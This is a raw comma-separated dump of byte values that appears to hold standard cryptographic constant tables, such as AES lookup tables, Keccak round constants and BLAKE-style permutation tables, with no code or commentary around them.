252,126,126,130,122,61,61,71,200,100,100,172,186,93,93,231,50,25,25,43,230,115,115,149,192,96,96,160,25,129,129,152,158,79,79,209,163,220,220,127,68,34,34,102,84,42,42,126,59,144,144,171,11,136,136,131,140,70,70,202,199,238,238,41,107,184,184,211,40,20,20,60,167,222,222,121,188,94,94,226,22,11,11,29,173,219,219,118,219,224,224,59,100,50,50,86,116,58,58,78,20,10,10,30,146,73,73,219,12,6,6,10,72,36,36,108,184,92,92,228,159,194,194,93,189,211,211,110,67,172,172,239,196,98,98,166,57,145,145,168,49,149,149,164,211,228,228,55,242,121,121,139,213,231,231,50,139,200,200,67,110,55,55,89,218,109,109,183,1,141,141,140,177,213,213,100,156,78,78,210,73,169,169,224,216,108,108,180,172,86,86,250,243,244,244,7,207,234,234,37,202,101,101,175,244,122,122,142,71,174,174,233,16,8,8,24,111,186,186,213,240,120,120,136,74,37,37,111,92,46,46,114,56,28,28,36,87,166,166,241,115,180,180,199,151,198,198,81,203,232,232,35,161,221,221,124,232,116,116,156,62,31,31,33,150,75,75,221,97,189,189,220,13,139,139,134,15,138,138,133,224,112,112,144,124,62,62,66,113,181,181,196,204,102,102,170,144,72,72,216,6,3,3,5,247,246,246,1,28,14,14,18,194,97,97,163,106,53,53,95,174,87,87,249,105,185,185,208,23,134,134,145,153,193,193,88,58,29,29,39,39,158,158,185,217,225,225,56,235,248,248,19,43,152,152,179,34,17,17,51,210,105,105,187,169,217,217,112,7,142,142,137,51,148,148,167,45,155,155,182,60,30,30,34,21,135,135,146,201,233,233,32,135,206,206,73,170,85,85,255,80,40,40,120,165,223,223,122,3,140,140,143,89,161,161,248,9,137,137,128,26,13,13,23,101,191,191,218,215,230,230,49,132,66,66,198,208,104,104,184,130,65,65,195,41,153,153,176,90,45,45,119,30,15,15,17,123,176,176,203,168,84,84,252,109,187,187,214,44,22,22,58,165,198,99,99,132,248,124,124,153,238,119,119,141,246,123,123,13,255,242,242,189,214,107,107,177,222,111,111,84,145,197,197,80,96,48,48,3,2,1,1,169,206,103,103,125,86,43,43,25,231,254,254,98,181,215,215,230,77,171,171,154,236,118,118,69,143,202,202,157,31,130,130,64,137,201,201,135,250,125,125,21,239,250,250,235,178,89,89,201,142,71,71,11,251,240,240,236,65,173,173,103,179,212,212,253,95,162,162,234,69,175,175,191,35,156,156,247,83,164,164,150,228,114,114,91,155,192,192,194,117,183,183,28,225,253,253,174,61,147,147,106,76,38,38,90,108,54,54,65,126,63,63,2,245,247,247,79,131,204,204,92,104,52,52,244,81,165,165,52,209,229,229,8,249,241,241,147,226,113,113,115,171,216,216,83,98,49,49,63,42,21,21,12,8,4,4,82,149,199,199,101,70,35,35,94,157,195,195,40,48,24,24,161,55,150,150,15,10,5,5,181,47,154,154,9,14,7,7,54,36,18,18,155,27,128,128,61,223,226,226,38,205,235,235,105,78,39,39,205,127,178,178,159,234,117,117,27,18,9,9,158,29,131,131,116,88,44,44,46,52,26,26,45,54,27,27,178,220,110,110,238,180,90,90,251,91,160,160,246,164,82,82,77,118,59,59,97,183,214,214,206,125,179,179,123,82,41,41,62,221,227,227,113,94,47,47,151,19,132,132,245,166,83,83,104,185,209,209,0,0,0,0,44,193,237,237,96,64,32,32,31,227,252,252,200,121,177,177,237,182,91,91,190,212,106,106,70,141,203,203,217,103,190,190,75,114,57,57,222,148,74,74,212,152,76,76,232,176,88,88,74,133,207,207,107,187,208,208,42,197,239,239,229,79,170,170,22,237,251,251,197,134,67,67,215,154,77,77,85,102,51,51,148,17,133,133,207,138,69,69,16,233,249,249,6,4,2,2,129,254,127,127,240,160,80,80,68,120,60,60,186,37,159,159,227,75,168,168,243,162,81,81,254,93,163,163,192,128,64,64,138,5,143,143,173,63,146,146,188,33,157,157,72,112,56,56,4,241,245,245,223,99,188,188,193,119,182,182,117,175,218,218,99,66,33,33,48,32,16,16,26,229,255,255,14,253,243,243,109,191,210,210,76,129,205,205,20,24,12,12,53,38,19,19,47,195,236,236,225,190,95,95,162,53,151,151,204,136,68,68,57,46,23,23,87,147,196,196,242,85,167,167,130,252,126,126,71,122,61,61,172,200,100,100,231,186,93,93,43,50,25,25,149,230,115,115,160,192,96,96,152,25,129,129,209,158,79,79,127,163,220,220,102,68,34,34,126,84,42,42,171,59,144,144,131,11,136,136,202,140,70,70,41,199,238,238,211,107,184,184,60,40,20,20,121,167,222,222,226,188,94,94,29,22,11,11,118,173,219,219,59,219,224,224,86,100,50,50,78,116,58,58,30,20,10,10,219,146,73,73,10,12,6,6,108,72,36,36,228,184,92,92,93,159,194,194,110,189,211,211,239,67,172,172,166,196,98,98,168,57,145,145,164,49,149,149,55,211,228,228,139,242,121,121,50,213,231,231,67,139,200,200,89,110,55,55,183,218,109,109,140,1,141,141,100,177,213,213,210,156,78,78,224,73,169,169,180,216,108,108,250,172,86,86,7,243,244,244,37,207,234,234,175,202,101,101,142,244,122,122,233,71,174,174,24,16,8,8,213,111,186,186,136,240,120,120,111,74,37,37,114,92,46,46,36,56,28,28,241,87,166,166,199,115,180,180,81,151,198,198,35,203,232,232,124,161,221,221,156,232,116,116,33,62,31,31,221,150,75,75,220,97,189,189,134,13,139,139,133,15,138,138,144,224,112,112,66,124,62,62,196,113,181,181,170,204,102,102,216,144,72,72,5,6,3,3,1,247,246,246,18,28,14,14,163,194,97,97,95,106,53,53,249,174,87,87,208,105,185,185,145,23,134,134,88,153,193,193,39,58,29,29,185,39,158,158,56,217,225,225,19,235,248,248,179,43,152,152,51,34,17,17,187,210,105,105,112,169,217,217,137,7,142,142,167,51,148,148,182,45,155,155,34,60,30,30,146,21,135,135,32,201,233,233,73,135,206,206,255,170,85,85,120,80,40,40,122,165,223,223,143,3,140,140,248,89,161,161,128,9,137,137,23,26,13,13,218,101,191,191,49,215,230,230,198,132,66,66,184,208,104,104,195,130,65,65,176,41,153,153,119,90,45,45,17,30,15,15,203,123,176,176,252,168,84,84,214,109,187,187,58,44,22,22,99,165,198,99,124,132,248,124,119,153,238,119,123,141,246,123,242,13,255,242,107,189,214,107,111,177,222,111,197,84,145,197,48,80,96,48,1,3,2,1,103,169,206,103,43,125,86,43,254,25,231,254,215,98,181,215,171,230,77,171,118,154,236,118,202,69,143,202,130,157,31,130,201,64,137,201,125,135,250,125,250,21,239,250,89,235,178,89,71,201,142,71,240,11,251,240,173,236,65,173,212,103,179,212,162,253,95,162,175,234,69,175,156,191,35,156,164,247,83,164,114,150,228,114,192,91,155,192,183,194,117,183,253,28,225,253,147,174,61,147,38,106,76,38,54,90,108,54,63,65,126,63,247,2,245,247,204,79,131,204,52,92,104,52,165,244,81,165,229,52,209,229,241,8,249,241,113,147,226,113,216,115,171,216,49,83,98,49,21,63,42,21,4,12,8,4,199,82,149,199,35,101,70,35,195,94,157,195,24,40,48,24,150,161,55,150,5,15,10,5,154,181,47,154,7,9,14,7,18,54,36,18,128,155,27,128,226,61,223,226,235,38,205,235,39,105,78,39,178,205,127,178,117,159,234,117,9,27,18,9,131,158,29,131,44,116,88,44,26,46,52,26,27,45,54,27,110,178,220,110,90,238,180,90,160,251,91,160,82,246,164,82,59,77,118,59,214,97,183,214,179,206,125,179,41,123,82,41,227,62,221,227,47,113,94,47,132,151,19,132,83,245,166,83,209,104,185,209,0,0,0,0,237,44,193,237,32,96,64,32,252,31,227,252,177,200,121,177,91,237,182,91,106,190,212,106,203,70,141,203,190,217,103,190,57,75,114,57,74,222,148,74,76,212,152,76,88,232,176,88,207,74,133,207,208,107,187,208,239,42,197,239,170,229,79,170,251,22,237,251,67,197,134,67,77,215,154,77,51,85,102,51,133,148,17,133,69,207,138,69,249,16,233,249,2,6,4,2,127,129,254,127,80,240,160,80,60,68,120,60,159,186,37,159,168,227,75,168,81,243,162,81,163,254,93,163,64,192,128,64,143,138,5,143,146,173,63,146,157,188,33,157,56,72,112,56,245,4,241,245,188,223,99,188,182,193,119,182,218,117,175,218,33,99,66,33,16,48,32,16,255,26,229,255,243,14,253,243,210,109,191,210,205,76,129,205,12,20,24,12,19,53,38,19,236,47,195,236,95,225,190,95,151,162,53,151,68,204,136,68,23,57,46,23,196,87,147,196,167,242,85,167,126,130,252,126,61,71,122,61,100,172,200,100,93,231,186,93,25,43,50,25,115,149,230,115,96,160,192,96,129,152,25,129,79,209,158,79,220,127,163,220,34,102,68,34,42,126,84,42,144,171,59,144,136,131,11,136,70,202,140,70,238,41,199,238,184,211,107,184,20,60,40,20,222,121,167,222,94,226,188,94,11,29,22,11,219,118,173,219,224,59,219,224,50,86,100,50,58,78,116,58,10,30,20,10,73,219,146,73,6,10,12,6,36,108,72,36,92,228,184,92,194,93,159,194,211,110,189,211,172,239,67,172,98,166,196,98,145,168,57,145,149,164,49,149,228,55,211,228,121,139,242,121,231,50,213,231,200,67,139,200,55,89,110,55,109,183,218,109,141,140,1,141,213,100,177,213,78,210,156,78,169,224,73,169,108,180,216,108,86,250,172,86,244,7,243,244,234,37,207,234,101,175,202,101,122,142,244,122,174,233,71,174,8,24,16,8,186,213,111,186,120,136,240,120,37,111,74,37,46,114,92,46,28,36,56,28,166,241,87,166,180,199,115,180,198,81,151,198,232,35,203,232,221,124,161,221,116,156,232,116,31,33,62,31,75,221,150,75,189,220,97,189,139,134,13,139,138,133,15,138,112,144,224,112,62,66,124,62,181,196,113,181,102,170,204,102,72,216,144,72,3,5,6,3,246,1,247,246,14,18,28,14,97,163,194,97,53,95,106,53,87,249,174,87,185,208,105,185,134,145,23,134,193,88,153,193,29,39,58,29,158,185,39,158,225,56,217,225,248,19,235,248,152,179,43,152,17,51,34,17,105,187,210,105,217,112,169,217,142,137,7,142,148,167,51,148,155,182,45,155,30,34,60,30,135,146,21,135,233,32,201,233,206,73,135,206,85,255,170,85,40,120,80,40,223,122,165,223,140,143,3,140,161,248,89,161,137,128,9,137,13,23,26,13,191,218,101,191,230,49,215,230,66,198,132,66,104,184,208,104,65,195,130,65,153,176,41,153,45,119,90,45,15,17,30,15,176,203,123,176,84,252,168,84,187,214,109,187,22,58,44,22,99,99,165,198,124,124,132,248,119,119,153,238,123,123,141,246,242,242,13,255,107,107,189,214,111,111,177,222,197,197,84,145,48,48,80,96,1,1,3,2,103,103,169,206,43,43,125,86,254,254,25,231,215,215,98,181,171,171,230,77,118,118,154,236,202,202,69,143,130,130,157,31,201,201,64,137,125,125,135,250,250,250,21,239,89,89,235,178,71,71,201,142,240,240,11,251,173,173,236,65,212,212,103,179,162,162,253,95,175,175,234,69,156,156,191,35,164,164,247,83,114,114,150,228,192,192,91,155,183,183,194,117,253,253,28,225,147,147,174,61,38,38,106,76,54,54,90,108,63,63,65,126,247,247,2,245,204,204,79,131,52,52,92,104,165,165,244,81,229,229,52,209,241,241,8,249,113,113,147,226,216,216,115,171,49,49,83,98,21,21,63,42,4,4,12,8,199,199,82,149,35,35,101,70,195,195,94,157,24,24,40,48,150,150,161,55,5,5,15,10,154,154,181,47,7,7,9,14,18,18,54,36,128,128,155,27,226,226,61,223,235,235,38,205,39,39,105,78,178,178,205,127,117,117,159,234,9,9,27,18,131,131,158,29,44,44,116,88,26,26,46,52,27,27,45,54,110,110,178,220,90,90,238,180,160,160,251,91,82,82,246,164,59,59,77,118,214,214,97,183,179,179,206,125,41,41,123,82,227,227,62,221,47,47,113,94,132,132,151,19,83,83,245,166,209,209,104,185,0,0,0,0,237,237,44,193,32,32,96,64,252,252,31,227,177,177,200,121,91,91,237,182,106,106,190,212,203,203,70,141,190,190,217,103,57,57,75,114,74,74,222,148,76,76,212,152,88,88,232,176,207,207,74,133,208,208,107,187,239,239,42,197,170,170,229,79,251,251,22,237,67,67,197,134,77,77,215,154,51,51,85,102,133,133,148,17,69,69,207,138,249,249,16,233,2,2,6,4,127,127,129,254,80,80,240,160,60,60,68,120,159,159,186,37,168,168,227,75,81,81,243,162,163,163,254,93,64,64,192,128,143,143,138,5,146,146,173,63,157,157,188,33,56,56,72,112,245,245,4,241,188,188,223,99,182,182,193,119,218,218,117,175,33,33,99,66,16,16,48,32,255,255,26,229,243,243,14,253,210,210,109,191,205,205,76,129,12,12,20,24,19,19,53,38,236,236,47,195,95,95,225,190,151,151,162,53,68,68,204,136,23,23,57,46,196,196,87,147,167,167,242,85,126,126,130,252,61,61,71,122,100,100,172,200,93,93,231,186,25,25,43,50,115,115,149,230,96,96,160,192,129,129,152,25,79,79,209,158,220,220,127,163,34,34,102,68,42,42,126,84,144,144,171,59,136,136,131,11,70,70,202,140,238,238,41,199,184,184,211,107,20,20,60,40,222,222,121,167,94,94,226,188,11,11,29,22,219,219,118,173,224,224,59,219,50,50,86,100,58,58,78,116,10,10,30,20,73,73,219,146,6,6,10,12,36,36,108,72,92,92,228,184,194,194,93,159,211,211,110,189,172,172,239,67,98,98,166,196,145,145,168,57,149,149,164,49,228,228,55,211,121,121,139,242,231,231,50,213,200,200,67,139,55,55,89,110,109,109,183,218,141,141,140,1,213,213,100,177,78,78,210,156,169,169,224,73,108,108,180,216,86,86,250,172,244,244,7,243,234,234,37,207,101,101,175,202,122,122,142,244,174,174,233,71,8,8,24,16,186,186,213,111,120,120,136,240,37,37,111,74,46,46,114,92,28,28,36,56,166,166,241,87,180,180,199,115,198,198,81,151,232,232,35,203,221,221,124,161,116,116,156,232,31,31,33,62,75,75,221,150,189,189,220,97,139,139,134,13,138,138,133,15,112,112,144,224,62,62,66,124,181,181,196,113,102,102,170,204,72,72,216,144,3,3,5,6,246,246,1,247,14,14,18,28,97,97,163,194,53,53,95,106,87,87,249,174,185,185,208,105,134,134,145,23,193,193,88,153,29,29,39,58,158,158,185,39,225,225,56,217,248,248,19,235,152,152,179,43,17,17,51,34,105,105,187,210,217,217,112,169,142,142,137,7,148,148,167,51,155,155,182,45,30,30,34,60,135,135,146,21,233,233,32,201,206,206,73,135,85,85,255,170,40,40,120,80,223,223,122,165,140,140,143,3,161,161,248,89,137,137,128,9,13,13,23,26,191,191,218,101,230,230,49,215,66,66,198,132,104,104,184,208,65,65,195,130,153,153,176,41,45,45,119,90,15,15,17,30,176,176,203,123,84,84,252,168,187,187,214,109,22,22,58,44,1,0,0,0,0,0,0,0,130,128,0,0,0,0,0,0,138,128,0,0,0,0,0,128,0,128,0,128,0,0,0,128,139,128,0,0,0,0,0,0,1,0,0,128,0,0,0,0,129,128,0,128,0,0,0,128,9,128,0,0,0,0,0,128,138,0,0,0,0,0,0,0,136,0,0,0,0,0,0,0,9,128,0,128,0,0,0,0,10,0,0,128,0,0,0,0,139,128,0,128,0,0,0,0,139,0,0,0,0,0,0,128,137,128,0,0,0,0,0,128,3,128,0,0,0,0,0,128,2,128,0,0,0,0,0,128,128,0,0,0,0,0,0,128,10,128,0,0,0,0,0,0,10,0,0,128,0,0,0,128,129,128,0,128,0,0,0,128,128,128,0,0,0,0,0,128,1,0,0,128,0,0,0,0,8,128,0,128,0,0,0,128,19,62,219,47,161,68,208,204,235,169,121,26,48,144,53,232,111,110,129,79,97,160,174,85,219,148,155,174,164,103,39,42,131,118,221,116,94,2,6,236,81,98,116,196,205,54,164,231,133,209,58,57,249,186,111,195,19,252,237,51,24,186,237,62,1,0,0,0,2,0,0,0,3,0,0,0,4,0,0,0,136,106,63,36,211,8,163,133,46,138,25,19,68,115,112,3,34,56,9,164,208,49,159,41,152,250,46,8,137,108,78,236,230,33,40,69,119,19,208,56,207,102,84,190,108,12,233,52,183,41,172,192,221,80,124,201,181,213,132,63,23,9,71,181,198,50,244,165,244,151,165,198,248,111,151,132,151,235,132,248,238,94,176,153,176,199,153,238,246,122,140,141,140,247,141,246,255,232,23,13,23,229,13,255,214,10,220,189,220,183,189,214,222,22,200,177,200,167,177,222,145,109,252,84,252,57,84,145,96,144,240,80,240,192,80,96,2,7,5,3,5,4,3,2,206,46,224,169,224,135,169,206,86,209,135,125,135,172,125,86,231,204,43,25,43,213,25,231,181,19,166,98,166,113,98,181,77,124,49,230,49,154,230,77,236,89,181,154,181,195,154,236,143,64,207,69,207,5,69,143,31,163,188,157,188,62,157,31,137,73,192,64,192,9,64,137,250,104,146,135,146,239,135,250,239,208,63,21,63,197,21,239,178,148,38,235,38,127,235,178,142,206,64,201,64,7,201,142,251,230,29,11,29,237,11,251,65,110,47,236,47,130,236,65,179,26,169,103,169,125,103,179,95,67,28,253,28,190,253,95,69,96,37,234,37,138,234,69,35,249,218,191,218,70,191,35,83,81,2,247,2,166,247,83,228,69,161,150,161,211,150,228,155,118,237,91,237,45,91,155,117,40,93,194,93,234,194,117,225,197,36,28,36,217,28,225,61,212,233,174,233,122,174,61,76,242,190,106,190,152,106,76,108,130,238,90,238,216,90,108,126,189,195,65,195,252,65,126,245,243,6,2,6,241,2,245,131,82,209,79,209,29,79,131,104,140,228,92,228,208,92,104,81,86,7,244,7,162,244,81,209,141,92,52,92,185,52,209,249,225,24,8,24,233,8,249,226,76,174,147,174,223,147,226,171,62,149,115,149,77,115,171,98,151,245,83,245,196,83,98,42,107,65,63,65,84,63,42,8,28,20,12,20,16,12,8,149,99,246,82,246,49,82,149,70,233,175,101,175,140,101,70,157,127,226,94,226,33,94,157,48,72,120,40,120,96,40,48,55,207,248,161,248,110,161,55,10,27,17,15,17,20,15,10,47,235,196,181,196,94,181,47,14,21,27,9,27,28,9,14,36,126,90,54,90,72,54,36,27,173,182,155,182,54,155,27,223,152,71,61,71,165,61,223,205,167,106,38,106,129,38,205,78,245,187,105,187,156,105,78,127,51,76,205,76,254,205,127,234,80,186,159,186,207,159,234,18,63,45,27,45,36,27,18,29,164,185,158,185,58,158,29,88,196,156,116,156,176,116,88,52,70,114,46,114,104,46,52,54,65,119,45,119,108,45,54,220,17,205,178,205,163,178,220,180,157,41,238,41,115,238,180,91,77,22,251,22,182,251,91,164,165,1,246,1,83,246,164,118,161,215,77,215,236,77,118,183,20,163,97,163,117,97,183,125,52,73,206,73,250,206,125,82,223,141,123,141,164,123,82,221,159,66,62,66,161,62,221,94,205,147,113,147,188,113,94,19,177,162,151,162,38,151,19,166,162,4,245,4,87,245,166,185,1,184,104,184,105,104,185,0,65,232,47,11,137,14,193,181,116,44,116,153,44,193,64,224,160,96,160,128,96,64,227,194,33,31,33,221,31,227,121,58,67,200,67,242,200,121,182,154,44,237,44,119,237,182,212,13,217,190,217,179,190,212,141,71,202,70,202,1,70,141,103,23,112,217,112,206,217,103,114,175,221,75,221,228,75,114,148,237,121,222,121,51,222,148,152,255,103,212,103,43,212,152,176,147,35,232,35,123,232,176,133,91,222,74,222,17,74,133,187,6,189,107,189,109,107,187,197,187,126,42,126,145,42,197,79,123,52,229,52,158,229,79,237,215,58,22,58,193,22,237,134,210,84,197,84,23,197,134,154,248,98,215,98,47,215,154,102,153,255,85,255,204,85,102,17,182,167,148,167,34,148,17,138,192,74,207,74,15,207,138,233,217,48,16,48,201,16,233,4,14,10,6,10,8,6,4,254,102,152,129,152,231,129,254,160,171,11,240,11,91,240,160,120,180,204,68,204,240,68,120,37,240,213,186,213,74,186,37,75,117,62,227,62,150,227,75,162,172,14,243,14,95,243,162,93,68,25,254,25,186,254,93,128,219,91,192,91,27,192,128,5,128,133,138,133,10,138,5,63,211,236,173,236,126,173,63,33,254,223,188,223,66,188,33,112,168,216,72,216,224,72,112,241,253,12,4,12,249,4,241,99,25,122,223,122,198,223,99,119,47,88,193,88,238,193,119,175,48,159,117,159,69,117,175,66,231,165,99,165,132,99,66,32,112,80,48,80,64,48,32,229,203,46,26,46,209,26,229,253,239,18,14,18,225,14,253,191,8,183,109,183,101,109,191,129,85,212,76,212,25,76,129,24,36,60,20,60,48,20,24,38,121,95,53,95,76,53,38,195,178,113,47,113,157,47,195,190,134,56,225,56,103,225,190,53,200,253,162,253,106,162,53,136,199,79,204,79,11,204,136,46,101,75,57,75,92,57,46,147,106,249,87,249,61,87,147,85,88,13,242,13,170,242,85,252,97,157,130,157,227,130,252,122,179,201,71,201,244,71,122,200,39,239,172,239,139,172,200,186,136,50,231,50,111,231,186,50,79,125,43,125,100,43,50,230,66,164,149,164,215,149,230,192,59,251,160,251,155,160,192,25,170,179,152,179,50,152,25,158,246,104,209,104,39,209,158,163,34,129,127,129,93,127,163,68,238,170,102,170,136,102,68,84,214,130,126,130,168,126,84,59,221,230,171,230,118,171,59,11,149,158,131,158,22,131,11,140,201,69,202,69,3,202,140,199,188,123,41,123,149,41,199,107,5,110,211,110,214,211,107,40,108,68,60,68,80,60,40,167,44,139,121,139,85,121,167,188,129,61,226,61,99,226,188,22,49,39,29,39,44,29,22,173,55,154,118,154,65,118,173,219,150,77,59,77,173,59,219,100,158,250,86,250,200,86,100,116,166,210,78,210,232,78,116,20,54,34,30,34,40,30,20,146,228,118,219,118,63,219,146,12,18,30,10,30,24,10,12,72,252,180,108,180,144,108,72,184,143,55,228,55,107,228,184,159,120,231,93,231,37,93,159,189,15,178,110,178,97,110,189,67,105,42,239,42,134,239,67,196,53,241,166,241,147,166,196,57,218,227,168,227,114,168,57,49,198,247,164,247,98,164,49,211,138,89,55,89,189,55,211,242,116,134,139,134,255,139,242,213,131,86,50,86,177,50,213,139,78,197,67,197,13,67,139,110,133,235,89,235,220,89,110,218,24,194,183,194,175,183,218,1,142,143,140,143,2,140,1,177,29,172,100,172,121,100,177,156,241,109,210,109,35,210,156,73,114,59,224,59,146,224,73,216,31,199,180,199,171,180,216,172,185,21,250,21,67,250,172,243,250,9,7,9,253,7,243,207,160,111,37,111,133,37,207,202,32,234,175,234,143,175,202,244,125,137,142,137,243,142,244,71,103,32,233,32,142,233,71,16,56,40,24,40,32,24,16,111,11,100,213,100,222,213,111,240,115,131,136,131,251,136,240,74,251,177,111,177,148,111,74,92,202,150,114,150,184,114,92,56,84,108,36,108,112,36,56,87,95,8,241,8,174,241,87,115,33,82,199,82,230,199,115,151,100,243,81,243,53,81,151,203,174,101,35,101,141,35,203,161,37,132,124,132,89,124,161,232,87,191,156,191,203,156,232,62,93,99,33,99,124,33,62,150,234,124,221,124,55,221,150,97,30,127,220,127,194,220,97,13,156,145,134,145,26,134,13,15,155,148,133,148,30,133,15,224,75,171,144,171,219,144,224,124,186,198,66,198,248,66,124,113,38,87,196,87,226,196,113,204,41,229,170,229,131,170,204,144,227,115,216,115,59,216,144,6,9,15,5,15,12,5,6,247,244,3,1,3,245,1,247,28,42,54,18,54,56,18,28,194,60,254,163,254,159,163,194,106,139,225,95,225,212,95,106,174,190,16,249,16,71,249,174,105,2,107,208,107,210,208,105,23,191,168,145,168,46,145,23,153,113,232,88,232,41,88,153,58,83,105,39,105,116,39,58,39,247,208,185,208,78,185,39,217,145,72,56,72,169,56,217,235,222,53,19,53,205,19,235,43,229,206,179,206,86,179,43,34,119,85,51,85,68,51,34,210,4,214,187,214,191,187,210,169,57,144,112,144,73,112,169,7,135,128,137,128,14,137,7,51,193,242,167,242,102,167,51,45,236,193,182,193,90,182,45,60,90,102,34,102,120,34,60,21,184,173,146,173,42,146,21,201,169,96,32,96,137,32,201,135,92,219,73,219,21,73,135,170,176,26,255,26,79,255,170,80,216,136,120,136,160,120,80,165,43,142,122,142,81,122,165,3,137,138,143,138,6,143,3,89,74,19,248,19,178,248,89,9,146,155,128,155,18,128,9,26,35,57,23,57,52,23,26,101,16,117,218,117,202,218,101,215,132,83,49,83,181,49,215,132,213,81,198,81,19,198,132,208,3,211,184,211,187,184,208,130,220,94,195,94,31,195,130,41,226,203,176,203,82,176,41,90,195,153,119,153,180,119,90,30,45,51,17,51,60,17,30,123,61,70,203,70,246,203,123,168,183,31,252,31,75,252,168,109,12,97,214,97,218,214,109,44,98,78,58,78,88,58,44,1,0,0,0,3,0,0,0,6,0,0,0,10,0,0,0,15,0,0,0,21,0,0,0,28,0,0,0,36,0,0,0,45,0,0,0,55,0,0,0,2,0,0,0,14,0,0,0,27,0,0,0,41,0,0,0,56,0,0,0,8,0,0,0,25,0,0,0,43,0,0,0,62,0,0,0,18,0,0,0,39,0,0,0,61,0,0,0,20,0,0,0,44,0,0,0,10,0,0,0,7,0,0,0,11,0,0,0,17,0,0,0,18,0,0,0,3,0,0,0,5,0,0,0,16,0,0,0,8,0,0,0,21,0,0,0,24,0,0,0,4,0,0,0,15,0,0,0,23,0,0,0,19,0,0,0,13,0,0,0,12,0,0,0,2,0,0,0,20,0,0,0,14,0,0,0,22,0,0,0,9,0,0,0,6,0,0,0,1,0,0,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3,11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4,7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8,9,0,5,7,2,4,10,15,14,1,11,12,6,8,3,13,2,12,6,10,0,11,8,3,4,13,7,5,15,14,1,9,12,5,1,15,14,13,4,10,0,7,6,3,9,2,8,11,13,11,7,14,12,1,3,9,5,0,15,4,8,6,2,10,6,15,14,9,11,3,0,8,12,2,13,7,1,4,10,5,10,2,8,4,7,6,1,5,15,11,9,14,3,12,13,0,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,10,4,8,9,15,13,6,1,12,0,2,11,7,5,3,11,8,12,0,5,2,15,13,10,14,3,6,7,1,9,4,7,9,3,1,13,12,11,14,2,6,5,10,4,0,15,8,128,0,65,176,62,11,202,13,235,152,163,65,44,32,211,235,146,205,190,123,156,178,69,193,28,147,81,145,96,212,199,250,38,0,130,214,126,80,138,3,164,35,158,38,119,38,185,69,224,251,26,72,212,26,148,119,205,181,171,38,2,107,23,122,86,240,36,66,15,255,47,168,113,163,150,137,127,46,77,117,29,20,73,8,247,125,226,98,39,118,149,247,118,36,143,148,135,213,182,87,71,128,41,108,92,94,39,45,172,142,13,108,81,132,80,198,87,5,122,15,123,228,211,103,112,36,18,234,137,227,171,19,211,28,215,105,114,213,222,162,223,21,248,103,123,132,21,10,183,35,21,87,129,171,214,144,77,90,135,246,78,159,79,197,195,209,43,64,234,152,58,224,92,69,250,156,3,197,210,153,102,178,153,154,102,2,150,180,242,187,83,138,181,86,20,26,136,219,162,49,3,163,90,92,154,25,14,219,64,63,178,10,135,193,68,16,28,5,25,128,132,158,149,29,111,51,235,173,94,231,205,220,16,186,19,146,2,191,107,65,220,120,101,21,247,187,39,208,10,44,129,57,55,170,120,80,63,26,191,210,65,0,145,211,66,45,90,13,246,204,126,144,221,98,159,156,146,192,151,206,24,92,167,11,199,43,68,172,209,223,101,214,99,198,252,35,151,110,108,3,158,224,184,26,33,5,69,126,68,108,236,168,238,241,3,187,93,142,97,250,253,150,151,178,148,131,129,151,74,142,133,55,219,3,48,47,42,103,141,45,251,159,106,149,138,254,115,129,248,184,105,108,138,199,114,70,192,127,66,20,197,244,21,143,189,199,94,196,117,68,111,167,143,17,187,128,82,222,117,183,174,228,136,188,130,184,0,30,152,166,163,244,142,244,143,51,169,163,99,21,170,95,86,36,213,183,249,137,182,241,237,32,124,90,224,253,54,202,233,90,6,66,44,54,206,41,53,67,78,254,152,61,83,58,249,116,115,154,75,167,208,245,31,89,111,78,129,134,14,157,173,129,175,216,90,159,167,5,6,103,238,52,98,106,139,11,40,190,110,185,23,39,71,116,7,38,198,128,16,63,224,160,126,111,198,126,72,123,13,85,10,165,74,248,164,192,145,227,231,159,151,142,241,158,134,118,114,129,80,96,141,212,126,158,90,65,243,229,176,98,252,159,31,236,64,84,32,122,227,228,26,0,206,244,201,132,79,215,148,245,157,250,149,216,85,46,126,17,36,195,84,165,91,223,114,40,189,254,110,40,120,245,127,226,15,165,196,178,5,137,124,239,238,73,211,46,68,126,147,133,235,40,89,127,112,95,105,55,179,36,49,74,94,134,40,241,29,214,228,101,199,27,119,4,81,185,32,231,116,254,67,232,35,212,135,138,125,41,232,163,146,118,148,242,221,203,122,9,155,48,217,193,29,27,48,251,91,220,27,224,218,36,73,79,242,156,130,191,164,231,186,49,180,112,191,255,13,50,68,5,222,248,188,72,59,174,252,50,83,187,211,57,69,159,195,193,224,41,139,160,229,201,5,253,247,174,9,15,148,112,52,18,66,144,241,52,162,113,183,1,227,68,237,149,233,59,142,54,79,47,152,74,136,64,29,99,160,108,246,21,71,193,68,75,135,82,175,255,126,187,74,241,226,10,198,48,70,112,182,197,204,110,140,230,164,213,164,86,189,79,202,0,218,157,132,75,200,62,24,174,115,87,206,69,48,100,209,173,232,166,206,104,20,92,37,103,163,218,140,242,203,14,225,22,51,233,6,88,154,148,153,154,31,96,178,32,194,111,132,123,209,206,172,127,160,209,133,24,50,89,91,161,141,221,25,211,80,154,28,192,170,165,180,70,159,61,99,103,228,4,107,186,246,202,25,171,11,86,238,126,31,177,121,234,169,40,33,116,233,189,247,53,59,54,81,238,29,87,172,90,117,80,211,118,58,70,194,254,163,125,112,1,247,53,193,175,152,164,216,66,120,237,236,32,158,107,103,121,65,131,99,21,234,58,219,168,250,195,59,77,50,131,44,131,167,64,59,31,28,39,71,243,89,64,240,52,183,45,118,154,231,62,78,108,210,33,79,253,184,253,141,57,220,87,89,239,141,155,12,73,43,73,235,218,91,162,215,73,104,243,112,13,125,59,174,208,122,141,85,132,245,165,233,240,228,248,142,101,160,184,162,244,54,16,59,83,12,168,7,158,117,62,236,90,145,104,148,146,86,232,136,79,91,176,92,85,248,186,188,76,227,187,59,153,243,135,148,123,117,218,244,214,114,107,28,93,100,174,172,40,220,52,179,109,108,52,165,80,184,40,219,113,248,97,226,242,16,141,81,42,227,219,100,51,89,221,117,252,28,172,188,241,67,206,63,162,103,187,209,60,2,232,67,176,51,10,91,202,136,41,161,117,127,52,25,77,180,22,83,92,146,59,148,195,14,121,77,30,121,116,117,215,182,238,175,63,234,168,212,247,190,26,57,33,92,244,126,9,76,35,39,81,38,163,36,83,186,50,60,210,68,163,23,74,109,166,213,173,181,29,62,166,175,242,201,8,131,89,61,152,145,107,60,86,76,248,124,161,114,134,96,77,70,226,62,204,8,